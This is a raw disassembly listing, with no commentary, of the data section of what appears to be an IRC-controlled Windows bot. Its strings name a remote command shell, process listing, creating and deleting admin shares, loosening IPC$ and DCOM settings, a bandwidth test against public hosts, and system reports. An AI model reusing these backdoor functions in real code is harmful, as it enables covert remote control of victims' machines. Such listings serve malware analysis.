db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43A424 db 2Dh ; - ; DATA XREF: sub_419E38+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_43A448 db 2Dh ; - ; DATA XREF: sub_419E38+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o unk_43A478 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43A4A8 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_43A4D0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_43A500 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_43A534 db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_43A558 dd offset dword_43A590 ; DATA XREF: sub_41A3C6+1B3o ; sub_41A6EA+17Ao align 10h dd offset dword_43A588 align 8 off_43A568 dd offset dword_43A584 ; DATA XREF: sub_41A6EA+1E3o dd offset off_43A580 dd offset dword_43A57C dd offset off_43A578 off_43A578 dd offset dword_5C3A44 ; DATA XREF: sub_41A3C6+217o ; ___:0043A574o dword_43A57C dd 2444h ; DATA XREF: ___:0043A570o off_43A580 dd offset byte_5C3A43 ; DATA XREF: ___:0043A56Co dword_43A584 dd 2443h ; DATA XREF: ___:off_43A568o dword_43A588 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A560o dword_43A590 dd 24435049h, 0 ; DATA XREF: ___:off_43A558o dword_43A598 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o ; sub_41A6EA+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43A5C8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_43A5F0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A61C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_43A640 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A66C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_43A690 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o ; sub_41A6EA:loc_41A818o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43A6C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43A6FC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_43A730 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo ; sub_41A6EA+EDo align 10h dword_43A780 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o ; sub_41A6EA+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43A7B0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A3C6:loc_41A433o dd 62617369h, 2E64656Ch, 0 dword_43A7D0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o ; sub_41A6EA+54o align 10h dword_43A800 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o aNetworkSharesA db '- Network shares added.',0 aC_1 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_41A6EA+219o dword_43A830 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o ; sub_41A6EA:loc_41A95Ao aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A858 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o ; sub_41A6EA+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A878 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A8B4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A8EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A92C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A6EA:loc_41A757o dd 6C62616Eh, 2E6465h dword_43A948 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dword_43A9A0 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41ABFB+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o dword_43ABAC dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AF8F+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43AC88 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF8F+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o align 4 dword_43ACAC dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B243+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43ACF0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo off_43ACF4 dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o dword_43ACF8 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B243+5Bo dword_43AD00 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B243+48o unk_43AD10 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 10h unk_43AD40 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43AD6C dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41B302+1A0o dd 4C525520h, 2Eh unk_43AD88 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43ADC4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B302+18Co dd 64657469h, 2Eh dword_43ADE0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo word_43ADE4 dw 4 ; DATA XREF: sub_41B55B+10r align 4 dword_43ADE8 dd 6325h ; DATA XREF: ___:0041B89Co dword_43ADEC dd 0DFFh ; DATA XREF: ___:0041B6EAo dword_43ADF0 dd 51FFh ; DATA XREF: ___:0041B6DFo dword_43ADF4 dd 0EBFFh ; DATA XREF: ___:0041B6D4o dword_43ADF8 dd 201h ; DATA XREF: ___:0041B6BFo dword_43ADFC dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo dword_43AE10 dd 78DA70B2h ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ... align 10h dword_43AE20 dd 173Fh ; DATA XREF: sub_41D055+Dr dd 9875h, 9873h off_43AE2C dd offset sub_41D124 ; DATA XREF: ___:0041C164r dd offset nullsub_2 dd offset nullsub_2 dword_43AE38 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr dword_43AE3C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o ; sub_41D626+2o off_43AE50 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr dword_43AE54 dd 2 ; DATA XREF: sub_423D98+Er ; sub_423DD1+46r ... dd 10h, 0 off_43AE60 dd offset off_43AE60 ; DATA XREF: sub_41F216+Do ; sub_41F216+69o ... off_43AE64 dd offset off_43AE60 ; DATA XREF: sub_41F216:loc_41F296r ; sub_41F216+89w ... dd offset dword_43AE78 dd offset dword_43AE78 dword_43AE70 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r ; sub_41F35A:loc_41F3A7w dd 0FFFFFFFFh dword_43AE78 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043AE68o ; ___:0043AE6Co off_43CE80 dd offset off_43AE60 ; DATA XREF: sub_41F35A+15r ; sub_41F35A+20w ... dword_43CE84 dd 1E0h ; DATA XREF: sub_41BBE2+185r ; sub_41BEF3:loc_41BF2Fr ... off_43CE88 dd offset word_43CE92 ; DATA XREF: sub_41C0CE+23r ; sub_41C0CE:loc_41C12Fr ... off_43CE8C dd offset word_43CE92 ; DATA XREF: sub_42686F+18r db 2 dup(0) word_43CE92 dw 20h ; DATA XREF: sub_424FF8+18r ; ___:off_43CE88o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43D094 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r ; sub_41C0CE:loc_41C11Ar ... byte_43D098 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r ; sub_420DB0+311r ... align 4 dd 1 off_43D0A0 dd offset aNull_0 ; DATA XREF: sub_41FF3F:loc_4202A3r ; sub_41FF3F+457r ; "(null)" off_43D0A4 dd offset aNull ; DATA XREF: sub_41FF3F+259r ; "(null)" byte_43D0A8 db 1 ; DATA XREF: sub_420749+E1r db 2, 4, 8 align 10h dword_43D0B0 dd 3A4h ; DATA XREF: sub_420749+2Fo dword_43D0B4 dd 82798260h, 21h, 0 ; DATA XREF: sub_420749+11Dr dword_43D0C0 dd 0DFA6h ; DATA XREF: sub_420749+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43D1A0 dd 1 ; DATA XREF: sub_420749+3Co ; sub_420C7F+Co dword_43D1A4 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43D308 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420C7F+19o ; sub_420DB0:loc_421317o dword_43D310 dd 5Dh, 0 ; DATA XREF: sub_420DB0:loc_421207o dword_43D318 dd 14h ; DATA XREF: sub_421EC4+2o off_43D31C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r ; "exp" dd 1Dh, 427858h, 1Ah, 42C618h, 1Bh, 427850h, 1Fh, 427848h dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h dd 23h, 4277B4h, 24h, 4277B0h dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r ; sub_421BFF:loc_421CE6r ... dd 0 dd 0FFF80000h dbl_43D400 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r ; sub_421BFF:loc_421CBEr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43D418 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr ; sub_4220AC+1Fr align 4 tbyte_43D424 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r align 10h off_43D430 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw ; sub_41FF3F+3AAr off_43D434 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w ; sub_41FF3F+3E2r off_43D438 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w ; sub_420DB0+430r off_43D43C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew ; sub_41FF3F+3CBr off_43D440 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w off_43D444 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w dd offset sub_424F1C align 10h dd offset sub_422DFC off_43D454 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r dword_43D458 dd 0C0000005h ; DATA XREF: sub_423638+Ar ; sub_423638+11o ... dword_43D45C dd 0Bh ; DATA XREF: sub_425D33+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43D4D0 dd 3 ; DATA XREF: ___:0042354Fr ; sub_425C06+C8r dword_43D4D4 dd 7 ; DATA XREF: ___:00423555r ; sub_425C06+CDr dword_43D4D8 dd 0Ah ; DATA XREF: sub_423638+4r ; sub_425D33+4r dword_43D4DC dd 8Ch ; DATA XREF: ___:00423579r ; ___:00423586w ... dword_43D4E0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o ; sub_41FE2A:loc_41FEE7o dword_43D4E8 dd 2 ; DATA XREF: sub_423DD1+Eo ; sub_423DD1+28r off_43D4EC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr ; sub_423DD1+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349FCh dd 0FFh, 427940h off_43D578 dd offset dword_4DC040 ; DATA XREF: sub_423DD1+1Bo ; sub_42413E+55o align 10h dd offset dword_4DC040 dd 101h dword_43D588 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o dd 1000h, 0 dword_43D598 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o ; sub_420CE6+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D5B8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o ; sub_420CE6:loc_420D04o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D5E8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo dword_43D7F8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o dword_43D800 dd 2694h ; DATA XREF: sub_421861+3r ; sub_4218B4+46r align 8 dword_43D808 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo dword_43D820 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o dword_43D838 dd 2 dup(0) ; DATA XREF: sub_42600E+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D998 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42600E+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43DAF4 dd offset off_427CEC ; DATA XREF: ___:00427EC4o ; ___:00427FB0o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43DB0C dd offset off_427CEC ; DATA XREF: ___:off_427D78o ; ___:00427DB8o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43DB2C dd offset off_427CEC ; DATA XREF: ___:off_427DC0o ; ___:00427E04o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43DB4C dd offset off_427CEC ; DATA XREF: ___:off_427E0Co ; ___:00427E50o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43DB70 dd offset off_427CEC ; DATA XREF: ___:off_427E58o ; ___:00427E94o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_424F1C align 10h dword_43DB90 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o byte_43DB98 db 0 ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... align 10h dword_43DBA0 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+AECo ... dd 5 dup(0) dword_43DBB8 dd 0 ; DATA XREF: sub_401ACD+B48r ; sub_415C40+60r dd 2D9h dup(0) dword_43E720 dd 0 ; DATA XREF: sub_401ACD+5D8Cr ; sub_401ACD+5E61r ... dd 7Fh dup(0) dword_43E920 dd 0 ; DATA XREF: sub_40B3BA+41w ; sub_40B4F5+40w ... dword_43E924 dd 0 ; DATA XREF: sub_40B3BA+47w ; sub_40B4F5+46w ... dword_43E928 dd 0 ; DATA XREF: sub_40B3BA+52w ; sub_40B4F5+3Ar ... dword_43E92C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E930 dd 0 ; DATA XREF: sub_40B4F5+75r ; sub_40B6D6+2Aw ... dword_43E934 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43E938 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5CD7r ... align 4 dd 1B85h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043493Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:004385D0o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_43903Co dd 0E306h dup(0) dword_49005C dd 55B8h dup(0) ; DATA XREF: ___:off_432958o db 3 dup(0) byte_4A573F db 0 ; DATA XREF: Themida_:00558243o dd 3DC5h dup(0) db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43166Co dd 0FBh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438EA8o dd 5936h dup(0) dword_4CB720 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B3BA+13o ... dword_4CB724 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_404494r ... dword_4CB728 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CB72C dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CB7AC dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CB7EC dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CB87C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CB880 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CB890 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB894 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CB898 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8A2r word_4CB89C dw 0 ; DATA XREF: sub_401ACD+7BAFo ; ___:0040AFA9o ... align 10h dword_4CB8A0 dd 0 ; DATA XREF: sub_409909+4A7w ; sub_409909+4EBr dword_4CB8A4 dd 0 ; DATA XREF: sub_409909+65w ; sub_419C09+166r dword_4CB8A8 dd 0 ; DATA XREF: sub_409909+80Bw ; sub_409909+880r ... dword_4CB8AC dd 0 ; DATA XREF: sub_409909+9D8w ; sub_409909+A43r ... dword_4CB8B0 dd 0 ; DATA XREF: sub_409909+98Aw ; sub_409909+A13r ... dword_4CB8B4 dd 0 ; DATA XREF: sub_409909+48Dw ; sub_409909+4DBr dword_4CB8B8 dd 0 ; DATA XREF: sub_409909+213w ; sub_409909+234r dword_4CB8BC dd 0 ; DATA XREF: sub_409909+9CBw ; sub_409909+A3Br ... 